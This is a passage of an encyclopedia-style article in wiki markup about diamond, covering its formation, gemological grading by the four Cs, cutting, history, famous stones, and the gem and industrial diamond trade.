Unlike most electrical insulators, diamond is a good conductor of heat because of the strong covalent bonding within the crystal. Most natural blue diamonds contain [[boron]] atoms which replace carbon atoms in the crystal matrix, and also have high thermal conductivity. Specially purified synthetic diamond has the highest [[thermal conductivity]] (2000&amp;ndash;2500 W/(m&amp;middot;K), five times more than copper) of any known solid at room temperature. Because diamond has such high thermal conductance it is already used in semiconductor manufacture to prevent silicon and other semiconducting materials from overheating.

===Media===
[[Image:Diamond_Cubic-F_lattice_animation.gif|frame|right|Diamond, Cubic-F lattice, with a motif of C (0,0,0) and C (1/4,1/4,1/4).]]
{{multi-video start}}
{{multi-video item |
  filename      = Diamond animation.ogg |
  title         = Rotating diamond animation |
  description   = Animation of a rotating diamond structure (0:12, 3.98 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}
{{multi-video item |
  filename      = Diamond stereo animation.ogg |
  title         = Rotating stereo animation |
  description   = [[Stereogram]] of a rotating diamond structure (0:12, 3.74 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}
{{multi-video end}}

==Natural history==
===Formation===
Diamond is formed by prolonged exposure of carbon bearing materials to high [[pressure]] and [[temperature]]. On [[Earth]], the formation of diamonds is possible because there are regions deep within the Earth that are at a high enough pressure and temperature that the formation of diamonds is [[thermodynamics|thermodynamically]] favorable (see the diamond [[phase diagram]] and [[geotherm]]s [http://www.amnh.org/exhibitions/diamonds/formation.html here]). Under [[continental crust]], diamonds form starting at depths of about 150 kilometers (90 miles), where pressure is roughly 5 [[pascal|gigapascal]]s and the temperature is around 1200 degrees Celsius (2200 degrees Fahrenheit). Diamond formation under [[oceanic crust]] takes place at greater depths because of higher temperatures, which require higher pressure for diamond formation. Long periods of exposure to these high pressures and temperatures allow diamond crystals to grow larger.

[[Image:Rough diamond.jpg|left|thumb|250px|The slightly misshapen octahedral shape of this rough diamond crystal in matrix is typical of the mineral. Its lustrous faces also indicate that this crystal is from a primary deposit.]]

Through studies of carbon [[isotope]] ratios (similar to the methodology used in [[carbon dating]]) except using the stable isotopes C-12 and C-13, it has been shown that the carbon found in diamonds comes from both inorganic and organic sources. Some diamonds, known as ''[[Peridotite|harzburgitic]]'', are formed from inorganic carbon originally found deep in the Earth's [[Mantle (geology)|mantle]]. In contrast, ''[[eclogite|eclogitic]]'' diamonds contain organic carbon from organic [[detritus]] that has been pushed down from the surface of the Earth's [[crust (geology)|crust]] through [[subduction]] (see [[plate tectonics]]) before transforming into diamond. These two different source carbons have measurably different &lt;sup&gt;13&lt;/sup&gt;C:&lt;sup&gt;12&lt;/sup&gt;C ratios. Diamonds that have come to the Earth's surface are generally very old, ranging from under 1 [[billion]] to 3.3 billion years old.

Diamonds occur most often as [[euhedral]] or rounded [[octahedron|octahedra]] and [[Crystal twinning|twinned]] octahedra known as ''macles''.  As diamond's crystal structure has a cubic arrangement of the atoms, they have many [[facet]]s that belong to a [[Cube (geometry)|cube]], [[octahedron]], [[rhombicosidodecahedron]], [[tetrakis hexahedron]] or [[disdyakis dodecahedron]]. The crystals can have rounded off and unexpressive edges and can be elongated. Sometimes they are found grown together or form double &quot;twinned&quot; crystals grown together at the surfaces of the octahedron. This is all due to the conditions in which they form. Diamonds (especially those from secondary deposits) are commonly found coated in ''nyf'', an opaque gum-like skin.

Diamonds can also form in other natural high-pressure, high-temperature events. Very small diamonds, known as ''microdiamonds'' or ''nanodiamonds'', have been found in [[impact crater]]s where [[meteor]]s strike the Earth and create shock zones of high pressure and temperature where diamond formation can occur. Microdiamonds are now used as one indicator of ancient [[meteorite]] impact sites.

=== Surfacing ===
[[Image:VolcanicPipe.jpg|right|thumb|float|220px|Schematic diagram of a volcanic pipe]]
Diamond-bearing rock is forced close to the surface through deep-origin [[volcano|volcanic]] eruptions. The [[magma]] for such a volcano must originate at a depth where diamonds can be formed, 90 miles (150 km) deep or more (three times or more the depth of source magma for most volcanoes); this is a relatively rare occurrence. Below these typically small surface volcanic craters are formations known as [[volcanic pipe]]s, which contain material that was pushed toward the surface of the earth by volcanic action, but did not erupt before the volcanic activity ceased. Diamond-bearing volcanic pipes are most commonly found in the oldest regions of continental crust, which relates to the fact that these areas are the coolest portions of the earth's crust, and therefore diamonds can form at the shallowest depths.

The magma in such volcanic pipes is usually one of two characteristic types, which cool into [[igneous rock]] known as either [[kimberlite]] or [[lamproite]]. The magma itself does not contain diamond; instead, it acts as an elevator that carries deep-formed rocks and material upward. These rocks are characteristically rich in [[magnesium]] bearing [[olivine]], [[pyroxene]], and [[amphibole]] minerals which are usually altered to [[serpentine]] under near surface conditions. Certain ''indicator minerals'' typically occur within diamondiferous kimberlites and are used as mineralogic tracers in the search for diamond deposits by prospectors. These minerals are rich in [[chromium]] (Cr) or [[titanium]] (Ti), elements which impart bright colors to the minerals. The most common indicator minerals are chromian [[garnet]]s (usually bright red Cr-[[pyrope]], and occasionally green [[ugrandite]]-series garnets), eclogitic garnets, orange Ti-pyrope, red high chromian [[spinel]]s, dark [[chromite]], bright green
Cr-[[diopside]], glassy green [[olivine]], black [[ilmenite|picroilmenite]], and [[magnetite]]. Kimberlite deposits are known as ''blue ground'' for the deeper serpentinized part of the deposits, or as ''yellow ground'' for the near surface [[smectite]] [[clay]] and carbonate [[weathering|weathered]] and [[oxidation|oxidized]] portion.

Once diamonds have been forced to the surface by magma in a volcanic pipe, they may [[erosion|erode]] out and be distributed over a large area. A volcanic pipe containing diamonds is known as a ''primary source'' of diamonds. ''Secondary sources'' of diamonds include all areas where a significant number of diamonds, eroded out of their kimberlite or lamproite matrix, accumulate because of water or weather action. These include [[alluvium|alluvial]] deposits and deposits along existing and ancient shorelines, where loose diamonds tend to accumulate because of their approximate size and density.  Diamonds have also rarely been found in deposits left behind by [[glacier]]s (notably in [[Wisconsin]] and [[Indiana]]); however, in contrast to alluvial deposits, glacial deposits are not known to be of significant concentration and are therefore not viable commercial sources of diamond.

Diamonds can also be brought to the surface through certain processes which may occur when two continental plates collide forcefully, although this phenomenon is less understood and currently assumed to be uncommon.

==Gemological characteristics==
The use of diamonds as gemstones of decorative value is the most familiar use to most people today, and is also the earliest use, with decorative use of diamonds stretching back into antiquity.  The dispersion of white light into a rainbow of colors, known in the trade as ''fire'', is the other primary characteristic of gem diamonds, and has been highly prized throughout history.  Over time, especially since around 1900, experts in the field of ''[[gemology]]'' have developed methods of characterizing diamonds and other gemstones based on the characteristics most important to their value as a gem. Four characteristics, known informally as the ''four Cs'', are now commonly used as the basic descriptors of diamonds: these are ''carat'', ''clarity'', ''color'', and ''cut''.

Most gem diamonds are traded on the wholesale market based on single values for each of the four Cs; for example knowing that a diamond is rated as 1.5 carats, VS2 clarity, F color, excellent cut, is enough to reasonably establish an expected price range. More detailed information from within each characteristic can then be used to determine actual market value for individual stones. Consumers who purchase individual diamonds are often advised to use the four Cs to pick the diamond that is &quot;right&quot; for them; to these is sometimes added the &quot;fifth C&quot; of ''cost''.

Other characteristics not described by the four Cs can and do influence the value or appearance of a gem diamond. These characteristics include physical characteristics such as the presence of [[fluorescence]], as well as data on a diamond's history including its source and which gemological institute performed evaluation services on the diamond.  ''Cleanliness'' also dramatically affects a diamond's beauty.

There are four major gemological associations which &quot;certify&quot; diamonds: that is, define the four Cs of a diamond. While carat weight and cut angles are mathematically defined, the clarity and color are judged by the trained human eye and are therefore open to slight variance in interpretation. 
* [[Gemological Institute of America]] (GIA) was the first laboratory to issue modern diamond reports, and holds the highest reputation amongst gemologists for its consistent, conservative grading.
* [[American Gemological Society]] (AGS) is not as widely recognized nor as old as the GIA, but garners an equally high reputation.
* [[International Gemological Laboratory]] (IGL) is a generally respected laboratory but suffers from a negative industry reputation for its grading practices, which are perceived by critics as being either less conservative or less consistent than the GIA and AGS.
* [[European Gemological Laboratory]] (EGI) has a similar reputation to the IGL. 

=== Carat ===
The ''[[carat (mass)|carat]] weight'' measures the mass of a diamond. One carat is defined as exactly 200 [[milligram]]s (about 0.007 [[ounce]]). The ''point'' unit&amp;mdash;equal to one one-hundredth of a carat (0.01 carat, or 2 mg)&amp;mdash;is commonly used for diamonds of less than one carat. All else being equal, the value of a diamond increases exponentially in relation to carat weight, since larger diamonds are both rarer and more desirable for use as gemstones. A review of comparable diamonds available for purchase in September 2005 demonstrates this effect (approximate prices for round cut, G color, VS2 diamonds with &quot;1A&quot; cut grade, as listed on http://www.pricescope.com): &lt;!-- When updating, round to nearest $500 --&gt;
{| class=&quot;infobox&quot; style=&quot;border-collapse: collapse;&quot; border=&quot;2&quot; 
|- style=&quot;background-color: #cccccc;&quot;
!Carat size
!Cost per carat (US$)
!Total cost (US$)
|-
|0.5 carat (50 points)
|align=&quot;right&quot;|3,000
|align=&quot;right&quot;|1,500
|-
|1.0 carat
|align=&quot;right&quot;|6,500
|align=&quot;right&quot;|6,500 
|-
|1.5 carats
|align=&quot;right&quot;|8,500
|align=&quot;right&quot;|12,750
|-
|2.0 carats
|align=&quot;right&quot;|13,000
|align=&quot;right&quot;|26,000
|-
|3.0 carats
|align=&quot;right&quot;|17,000
|align=&quot;right&quot;|51,000
|-
|5.0 carats
|align=&quot;right&quot;|23,000
|align=&quot;right&quot;|115,000
|}

The price per carat does not increase smoothly with increasing size. Instead, there are sharp jumps around milestone carat weights, as demand is much higher for diamonds weighing just more than a milestone than for those weighing just less. As an example, a 0.95 carat diamond may have a significantly lower price per carat than a comparable 1.05 carat diamond, because of differences in demand.

A weekly price list published by Rapaport of New York, of diamond prices per carat, for different diamond cuts, clarity and weights, is currently considered the [[de-facto]] retail price baseline. Jewelers often trade diamonds at negotiated discounts off the Rapaport price (e.g., &quot;R -3%&quot;).

In the wholesale trade of gem diamonds, carat is often used in denominating lots of diamonds for sale. For example, a buyer may place an order for 100 carats of 0.5 carat, D&amp;ndash;F, VS2-SI1, excellent cut diamonds, indicating he wishes to purchase 200 diamonds (100 carats total mass) of those approximate characteristics. Because of this, diamond prices (particularly among wholesalers and other industry professionals) are often quoted per carat, rather than per stone.

''Total carat weight'' (t.c.w.) is a phrase used to describe the total mass of diamonds or other gemstone in a piece of jewelry, when more than one gemstone is used. Diamond solitaire earrings, for example, are usually quoted in t.c.w. when placed for sale, indicating the mass of the diamonds in both earrings and not each individual diamond. T.c.w. is also widely used for diamond necklaces, bracelets and other similar jewelry pieces.

===Clarity===
{{main|Diamond clarity}}
Clarity is a measure of internal defects of a diamond called ''inclusions''. Inclusions may be crystals of a foreign material or another diamond crystal, or structural imperfections such as tiny cracks that can appear whitish or cloudy. The number, size, color, relative location, orientation, and visibility of inclusions can all affect the relative clarity of a diamond. The [[Gemological Institute of America]] (GIA) and others have developed systems to grade clarity, which are generally based on those inclusions which are visible to a trained professional when a diamond is viewed from above, under 10x magnification.

Diamonds become increasingly rare when considering higher clarity gradings. Only about 20 percent of all diamonds mined have a clarity rating high enough for the diamond to be considered appropriate for use as a gemstone; the other 80 percent are relegated to industrial use. Of that top 20 percent, a significant portion contains an inclusion or inclusions that are visible to the naked eye upon close inspection. Those that do not have a visible inclusion are known as &quot;eye-clean&quot; and are preferred by most buyers, although visible inclusions can sometimes be hidden under the setting in a piece of jewelry.

Most inclusions present in gem-quality diamonds do not affect the diamonds' performance or structural integrity. However, large clouds can affect a diamond's ability to transmit and scatter light. Large cracks close to or breaking the surface may reduce a diamond's resistance to fracture.

Diamonds are graded by the major societies on a scale ranging from Flawless to Imperfect.  (see the main article for more detail)

===Color===
{{main|Diamond color}}
[[Image:ThompsonDiamonds.JPG|thumbnail|right|Jewelers sometimes set diamonds in groups of similar colors.]]
[[Image:Hope_Diamond.jpg|thumb|right|The [[Hope Diamond]]]]
A chemically pure and structurally perfect diamond is perfectly transparent with no [[hue]], or '''color'''. However, in reality almost no gem-sized natural diamonds are absolutely perfect. The color of a diamond may be affected by chemical impurities and/or structural defects in the [[crystal lattice]]. Depending on the hue and intensity of a diamond's coloration, a diamond's color can either detract from or enhance its value. For example, most white diamonds are discounted in price as more yellow hue is detectable, while intense pink or blue diamonds (such as the [[Hope Diamond]]) can be dramatically more valuable.

Most diamonds used as gemstones are basically transparent with little tint, or ''white diamonds''. The most common impurity, [[nitrogen]], replaces a small proportion of carbon atoms in a diamond's structure and causes a yellowish to brownish tint. This effect is present in almost all white diamonds; in only the rarest diamonds is the coloration due to this effect undetectable. The GIA has developed a rating system for color in white diamonds, from &quot;D&quot; to &quot;Z&quot; (with D being &quot;colorless&quot; and Z having a bright yellow coloration), which has been widely adopted in the industry and is universally recognized, superseding several older systems once used in different countries. The system uses a benchmark set of either natural diamonds of known color grade, or precision-crafted [[cubic zirconia]]; test lighting conditions are also standardized and carefully controlled. Diamonds with higher color grades are rarer, in higher demand, and therefore more expensive, than lower color grades. Oddly enough, diamonds graded Z are also rare, and the bright yellow color is also highly valued. Diamonds graded D-F are considered &quot;colorless&quot;, G-J are considered &quot;near-colorless&quot;, K-M are &quot;slightly colored&quot;. N-Y are usually appear light yellow or brown. 

In contrast to yellow or brown hues, diamonds of other colors are much rarer and more valuable. While even a pale pink or blue hue may increase the value of a diamond, more intense coloration is usually considered more desirable and commands the highest prices. A variety of impurities and structural imperfections cause different colors in diamonds, including yellow, pink, blue, red, green, brown, and other hues. Diamonds with unusual or intense coloration are sometimes labeled &quot;fancy&quot; by the diamond industry. Intense yellow coloration is considered one of the fancy colors, and is separate from the color grades of white diamonds. Gemologists have developed rating systems for fancy colored diamonds, but they are not in common use because of the relative rarity of colored diamonds.

===Cut===
{{main|Diamond cut}}
[[Diamond cutting]] is the art and science of creating a gem-quality diamond out of mined rough. The ''cut'' of a diamond describes the manner in which a diamond has been shaped and polished from its beginning form as a rough stone to its final gem proportions. The cut of a diamond describes the quality of workmanship and the angles to which a diamond is cut. Often diamond cut is confused with &quot;shape.&quot; 

There are mathematical guidelines for the angles and length ratios at which the diamond is supposed to cut at in order to reflect the maximum amount of light. Round brilliant diamonds, the most common, are guided by these specific guidelines, though fancy cut stones are not able to be as accurately guided by mathematical specifics.

The techniques for cutting diamonds have been developed over hundreds of years, with perhaps the greatest achievements made in 1919 by [[mathematician]] and gem enthusiast [[Marcel Tolkowsky]]. He developed the [[brilliant (diamond cut)|round brilliant cut]] by calculating the ideal shape to return and scatter light when a diamond is viewed from above. The modern round brilliant has 57 facets (polished faces), counting 33 on the ''crown'' (the top half), and 24 on the ''pavilion'' (the lower half). The girdle is the thin unpolished middle. The function of the crown is to diffuse light into various colors and the pavilion's function to reflect light back through the top of the diamond.

Tolkowsky defines the ideal dimensions to have:
* Table percentage (table diameter divided by overall diameter) = 53%
* Depth percentage (Overall depth divided by the overall diameter) = 59.3%
* Pavilion Angle (Angle between the girdle and the pavilion) = 40.75°
* Crown Angle (Angle between the girdle and the crown) = 34.5°
* Pavilion Depth (Depth of pavilion divided by overall diameter) = 43.1%
* Crown Depth (Depth of crown divided by crown diameter) = 16.2%

The culet is the tiny point at the bottom of the diamond. This should be a negligible diameter, otherwise light leaks out of the bottom. Tolkowsky's ideal dimensions did not include a girdle. However, a thin girdle is required in reality in order to prevent the diamond from easily chipping in the setting. A normal girdle should be about 1%&amp;ndash;2% of the overall diameter.

The further the diamond's characteristics are from Tolkowsky's ideal, the less light will be reflected. However, there is a small range in which the diamond can be considered &quot;ideal.&quot; Today, because of the relative importance of carat weight in society, many diamonds are often intentionally cut poorly to increase carat weight. There is a financial premium for a diamond that weighs the magical 1.0 carat, so often the girdle is made thicker or the depth is increased. Neither of these tactics make the diamond appear any bigger, but it also greatly reduces the sparkle of the diamond. So a poorly cut 1.0 carat diamond may have the same diameter and appear as large as a 0.85 carat diamond. The depth percentage is the overall quickest indication of the quality of the cut of a round brilliant. &quot;Ideal&quot; round brilliant diamonds should not have a depth percentage greater than 62.5%. Another quick indication is the overall diameter. Typically a round brilliant 1.0 carat diamond should have a diameter of about 6.5 mm. Mathematically, the diameter in millimeters of a round brilliant should approximately equal 6.5 times the [[cube root]] of carat weight, or 11.1 times the cube root of gram weight. 

====Shape====
Diamonds do not show all of their beauty as rough stones; instead, they must be cut and polished to exhibit the characteristic fire and brilliance that diamond gemstones are known for. Diamonds are cut into a variety of shapes that are generally designed to accentuate these features. 

Diamonds which are not cut to the specifications of Tolkowsky's round brilliant shape (or subsequent variations) are known as &quot;fancy cuts.&quot; Popular fancy cuts include the ''baguette'' (from the French, resembling a [[baguette|loaf of bread]]), ''marquise'', ''princess'' (square outline), ''heart'', ''briolette'' (a form of the rose cut), and ''pear'' cuts. Generally speaking, these &quot;fancy cuts&quot; are not held to the same strict standards as Tolkowsky-derived round brilliants and there are less specific mathematical guidelines of angles which determine a well-cut stone. Cuts are influenced heavily by fashion: the baguette cut&amp;mdash;which accentuates a diamond's luster and downplays its fire&amp;mdash;was all the rage during the [[Art Deco]] period, whereas the princess cut&amp;mdash;which accentuates a diamond's fire rather than its luster&amp;mdash;is currently gaining popularity. The princess cut is also popular amongst diamond cutters: of all the cuts, it wastes the least of the original crystal. The past decades have seen the development of new diamond cuts, often based on a modification of an existing
cut. Some of these include extra facets. These newly developed cuts are viewed by many as more of an attempt at brand differentiation by diamond sellers, than actual improvements to the state of the art.

====Quality====
The quality of a diamond's cut is widely considered the most important of the four Cs in determining the beauty of a diamond; indeed, it is commonly acknowledged that a well-cut diamond can appear to be of greater carat weight, and have clarity and color appear to be of better grade than they actually are. The skill with which a diamond is cut determines its ability to reflect and refract light.

In addition to carrying the most importance to a diamond's quality as a gemstone, the cut is also the most difficult to quantitatively judge. A number of factors, including proportion, [[symmetry]], and the relative angles of various facets, are determined by the quality of the cut and can affect the performance of a diamond. A poorly cut diamond with facets cut only a few degrees out of alignment can result in a poorly performing stone. For a round brilliant cut, there is a balance between &quot;brilliance&quot; and &quot;fire.&quot; When a diamond is cut for too much &quot;fire,&quot; it looks like a [[cubic zirconia]], which gives off much more &quot;fire&quot; than real diamond. A well executed round brilliant cut should reflect most light out from the tabletop and make the diamond appear white when viewed from the top. An inferior cut will produce a stone that appears dark at the center and in some extreme cases the ring settings may show through the top of the diamond as shadows.

Several different theories on the &quot;ideal&quot; proportions of a diamond have been and continue to be advocated by professional gemologists. Recently, there has been a shift away from grading cut by the use of various angles and proportions toward measuring the performance of a cut stone. A number of specially modified viewers and machines have been developed toward this end. They included the FireScope, a.k.a. SymmetriScope or IdealScope (tests for light leakage, light return and proportions), Hearts and Arrows Viewer (test for &quot;[[hearts and arrows]]&quot; characteristic pattern observable on stones exhibiting high symmetry), GemEx BrillianceScope (tests for direct light performance results of a diamond), Isee2 Machine (tests for diffused light performance results of a diamond), and ASET (test for AGS cut grade).  These viewers and machines often help consumers determine the light performance results of the diamond in addition to the traditional 4 C's.  Along with this shift there are a few companies that provide results on these viewers and machines in addition to the original 4c's.

====The cutting process====
{{main|Diamond cutting}}

[[Image:DiamanteEZ.jpg|thumb|An uncut diamond does not show its prized optical properties.]]

The process of shaping a rough diamond into a polished gemstone is both an art and a science. The choice of cut is often decided by the original shape of the rough stone, location of the inclusions and flaws to be eliminated, the preservation of the weight, popularity of certain shapes amongst consumers and many other considerations. The round brilliant cut is preferred when the crystal is an octahedron, as often two stones may be cut from one such crystal. Oddly shaped crystals such as macles are more likely to be cut in a ''fancy cut''&amp;mdash;that is, a cut other than the round brilliant&amp;mdash;which the particular crystal shape lends itself to.

Even with modern techniques, the cutting and polishing of a diamond crystal always results in a dramatic loss of weight; rarely is it less than 50%. Sometimes the cutters compromise and accept lesser proportions and symmetry in order to avoid inclusions or to preserve the carat rating. Since the per carat price of diamond shifts around key milestones (such as 1.00 carat), many one-carat diamonds are the result of compromising &quot;Cut&quot; for &quot;Carat.&quot; Some jewelry experts advise consumers to buy a 0.99 carat diamond for its better price or buy a 1.10 carat diamond for its better cut, avoiding a 1.00 carat diamond which is more likely to be a poorly cut stone.

===Cleaning===
{{main|Jewelry cleaning}}
Although it is not one of the four Cs, ''cleanliness'' affects a diamond's beauty as much as any of the four Cs.  A clean diamond is more brilliant and fiery than the same diamond when it is &quot;dirty.&quot;  Dirt or grease on the top of a diamond reduces its luster.  Water, dirt, or grease on the bottom of a diamond interferes with the diamond's brilliance and fire.  Even a thin film absorbs some light that could have been reflected to the person looking at the diamond.  Colored dye or smudges can affect the perceived color of a diamond.  Historically, some jewelers' stones were misgraded because of smudges on the girdle, or dye on the culet.  Current practice is to thoroughly clean a diamond before grading its color.

Maintaining a clean diamond can sometimes be difficult, as jewelry settings can obstruct cleaning efforts, and oils, grease, and other [[hydrophobic]] materials adhere well to a diamond's surface.  Some jewelers provide their customers with [[ammonia]]-based cleaning kits; [[ultrasonic cleaner]]s are also popular.

Cleanliness does not affect the diamond's market value, as any competent jeweler will clean the diamond before offering it for sale.  However, cleanliness might reflect a diamond's sentimental value:  some jewelers have noted a correlation between ring cleanliness and marriage quality [http://www.diamondcuttersintl.com/diamond_education/articles/customers/getting_in_shape.html].

==History==
Diamonds are thought to have been first recognized and mined in [[India]], where significant alluvial deposits of the stone could then be found.  The earliest written reference can be found in the [[Sanskrit]] text ''[[Arthasastra]]'', which was completed around [[296 BCE]], describes diamond's hardness, luster, and dispersion.  Diamonds quickly became associated with divinity, being used to decorate religious [[icon]]s, and were believed to bring good fortune to those who carried them.  Ownership was restricted among various [[caste]]s by color, with only kings being allowed to own all colors of diamond.

In February 2005, a joint [[China|Chinese]]-U.S. team of [[archaeology|archaeologists]] reported the discovery of four [[corundum]]-rich stone ceremonial burial [[axe]]s originating from China's [[Liangzhu jade culture|Liangzhu]] and [[Sanxingcun]] cultures ([[4000 BCE]]&amp;ndash;[[2500 BCE]]) which, because of the axes' specular surfaces, the scientists believe were polished using diamond powder [http://news.bbc.co.uk/2/hi/science/nature/4555235.stm] [http://www.chinadaily.com.cn/english/doc/2005-02/18/content_417247.htm].  Although there are diamond deposits now known to exist close to the burial sites, no direct evidence of coeval diamond mining has been found: the researchers came to this conclusion by polishing corundum using various [[lapidary]] abrasives and modern techniques then comparing the results using an [[atomic force microscope]].  At that scale, the surface of the modern diamond-polished corundum closely resembled that of the axes; however, the polishes of the latter were superior.

Diamonds were traded to both the east and west of India and were recognized by various cultures for their gemological or industrial uses.  The [[Roman Empire|Roman]] writer [[Pliny the Elder]] noted diamond's ornamental uses, as well as its usefulness to [[engraving|engravers]] because of its hardness, in his work ''[[Naturalis Historia]]''.  In China, diamonds seem to have been used primarily for engraving [[jade]] and drilling holes in beads.  Archaeological evidence from [[Yemen]] suggests that diamonds were used as drill tips as early as the [[4th century BCE]].  In [[Europe]], however, diamonds disappeared for almost 1,000 years following the rise of [[Christianity]] because of two effects: early [[Christian]]s rejected diamonds because of their earlier use in [[amulet]]s, and [[Arab|Arabic]] traders restricted the flow of trade between Europe and India.

[[Image:Diamond cut history.png|right|thumb|350px|Diagram of old diamond cuts showing the evolution from the most primitive (point cut) to the most advanced pre-[[Marcel Tolkowsky|Tolkowsky]] cut (old European).]]

Until the late [[Middle Ages]], diamonds were most prized in their natural octahedral state, perhaps with the crystal surfaces polished to increase luster and remove foreign material.  Around [[1300s|1300]], the flow of diamonds into Europe increased via [[Venice]]'s trade network, with most flowing through the [[low Countries|low country]] ports of [[Bruges]], [[Antwerp]], and [[Amsterdam]].  During this time, the [[taboo]] against cutting diamonds into gem shapes, which was established over 1,000 years earlier in the traditions of India, ended allowing the development of diamond cutting technology to begin in earnest. By 1375, a guild of diamond polishers had been established at [[Nuremberg]].  Over the following centuries, various diamond cuts were introduced which increasingly demonstrated the fire and brilliance that makes diamonds treasured today: the ''table cut'', the ''briolette'' (around 1476), the ''rose cut'' (mid-16th century), and by the mid-17th century, the ''Mazarin'', the first [[Brilliant (diamond cut)|brilliant cut diamond]] design.  In 1919, [[Marcel Tolkowsky]] developed an ''ideal'' round brilliant cut design that has set the standard for comparison of modern gems; however, diamond cuts have continued to be refined.

The rise in popularity of diamonds as gems seems to have paralleled increasing availability through European history.  In the 13th century, King [[Louis IX of France]] established a law that only the king could own diamonds.  However, within a century diamonds were popular gems among the moneyed [[aristocrat]]ic and merchant classes, and by at latest 1477 had begun to be used in [[wedding ring]]s.  Popularity continued to rise as new cuts were developed that enhanced the diamond's aesthetic appeal, and has largely continued unabated to this day; diamonds have proven popular with all classes in society as their cost has become within reach.  A number of large diamonds have become historically significant objects, as their inclusion in various sets of [[crown jewels]] and the purchase, sale, and sometimes theft of notable diamonds, have sometimes become politicized.

===Record-holding diamonds===
The [[Cullinan Diamond]], owned by [[Queen Elizabeth II]] was the largest gem-quality rough diamond ever found (1905), at 3,106.75 carats.  One of the diamonds cut from it, Cullinan I or the Great Star of Africa, was formerly the largest cut diamond at 530.2 carats, but now that title has been taken by [[the Golden Jubilee]] (1985), a 545.67 carat yellow-brown diamond.  The largest flawless and colorless (grade D) diamond is the [[Centenary Diamond]] which weighs 273.85 carats. The [[Millennium Star]] is the second largest (1990) at 203.04 carats.

:''See also: [[List of famous diamonds]]''

== The diamond industry ==
[[Image:Diamond.jpg|framed|A round [[Brilliant (diamond cut)|brilliant cut]] diamond set in a ring.]]

The diamond industry can be broadly separated into two basically distinct categories: one dealing with gem-grade diamonds and another for industrial-grade diamonds. While a large trade in both types of diamonds exists, the two markets act in dramatically different ways.

===Gem diamond industry===
A large trade in [[gem]]-grade diamonds exists.  Unlike [[precious metal]]s such as [[gold]] or [[platinum]], gem diamonds do not trade as a [[commodity]]: there is a substantial mark-up in the sale of diamonds, and there is not a very active market for resale of diamonds.  One hallmark of the trade in gem-quality diamonds is its remarkable concentration: wholesale trade and diamond cutting is limited to a few locations (most importantly New York, [[Antwerp]], [[London]], [[Tel Aviv]], [[Amsterdam]] and [[Surat]]), and a single company&amp;mdash;[[De Beers]]&amp;mdash;controls over half of all trade in diamonds.  They are based in [[Johannesburg]], [[South Africa]] and [[London]], [[England]].

The production and distribution of diamonds is largely consolidated in the hands of a few key players, and concentrated in traditional diamond trading centers (the most important being [[Antwerp]]).  The De Beers company holds a clearly dominant position in the industry, and has done so since soon after its founding in 1888.  De Beers owns or controls a significant portion of the world's rough diamond production facilities ([[mining|mines]]) and distribution channels for gem-quality diamonds.  The company and its subsidiaries own mines that produce some 40 percent of annual world diamond production, and control distribution channels handling nearly two thirds of all gem diamonds.  At one time it was thought over 80 percent of the world's rough diamonds passed through the [[Diamond Trading Company]] (DTC, a subsidiary of [[De Beers]]) in [[London]], but presently the figure is estimated at around 60 percent.  De Beers has used its [[monopoly]] position to establish strict price controls, and aggressively market diamonds directly to consumers in world markets.

The [[De Beers#Marketing|De Beers diamond advertising campaign]] is acknowledged as one of the most successful and innovative ones in history.  [[N.W. Ayer &amp; Son]], the advertising firm retained by De Beers in the mid-20th century, succeeded in reviving the American diamond market and opened up new markets, even in countries where no diamond tradition had existed before.  N.W. Ayer's multifaceted marketing campaign included [[product placement]], advertising the diamond itself rather than the De Beers brand, and building associations with celebrities and royalty.  This coordinated campaign has lasted decades and continues today; it is perhaps best captured by the now-familiar [[slogan]] &quot;a diamond is forever&quot;.

=== Industrial diamond industry ===
The market for industrial-grade diamonds operates much differently from its gem-grade counterpart. Industrial diamonds are valued mostly for their hardness and heat conductivity, making many of the gemological characteristics of diamond, including clarity and color, mostly irrelevant. This helps explain why 80% of mined diamonds (equal to about 100 million carats or 20,000 kg annually), unsuitable for use as gemstones and known as ''[[bort]]'', are destined for industrial use. In addition to mined diamonds, synthetic diamonds found industrial applications almost immediately after their invention in the 1950s; another 400 million carats (80,000 kg) of synthetic diamonds are produced annually for industrial use&amp;mdash;nearly four times the mass of natural diamonds mined over the same period.  

The dominant industrial use of diamond is in cutting, drilling, grinding, and polishing. Most uses of diamonds in these technologies do not require large diamonds; in fact, most diamonds that are gem-quality except for their small size, can find an industrial use. Diamonds are embedded in drill tips or saw blades, or ground into a powder for use in grinding and polishing applications. Specialized applications include use in laboratories as containment for high pressure experiments (see [[diamond anvil]]), high-performance [[bearing (mechanical)|bearings]], and limited use in specialized [[window]]s.

With the continuing advances being made in the production of synthetic diamond, future applications are beginning to become feasible. Garnering much excitement is the possible use of diamond as a [[semiconductor]] suitable to build [[microchip]]s from, or the use of diamond as a [[heat sink]] in [[electronics]]. Significant research efforts in [[Japan]], [[Europe]], and the [[United States]] are under way to capitalize on the potential offered by diamond's unique material properties, combined with increased quality and quantity of supply starting to become available from synthetic diamond manufacturers.

=== Diamond supply chain ===
''See also: [[List of diamond mines]]''

The diamond supply chain is controlled by a limited number of powerful businesses, and is also highly concentrated in a small number of locations around the world. In fact, the amount of power which De Beers has consolidated historically prevented it from direct trade with the [[United States]], as its trade practices led to an [[indictment]] for violating [[Sherman Antitrust Act|antitrust regulations]] (the case was settled in 2004). The concentration of power only loosens at the retail level, where diamonds are sold by a limited number of distributors, known as [[sightholder]]s, to jewelers around the world.

[[Image:Childrenmining 300.jpg|thumb|Alluvial mining by traditional methods continues, as seen here in [[Sierra Leone]].]]

==== Sources ====
Historically diamonds were known to be found only in alluvial deposits in [[southern India]]; India led the world in diamond production from the time of their discovery in approximately the [[9th century BCE]] to the mid-[[18th century|18th century CE]], but the commercial potential of these sources has been exhausted.  The first non-Indian diamond source was found in [[Brazil]] in 1725.  Today, most commercially viable diamond deposits are in [[Africa]], notably in [[South Africa]], [[Namibia]], [[Botswana]], the [[Republic of the Congo]], [[Angola]] and [[Sierra Leone]]. There are also commercial deposits being actively mined in the [[Northwest Territories]] of [[Canada]], [[Siberia]] (mostly in [[Sakha|Yakutia territory]], for example [[Mir pipe]] and [[Udachnaya pipe]]), Brazil, and in Northern and Western [[Australia]]. Diamond prospectors continue to search the globe for diamond-bearing kimberlite and lamproite pipes.

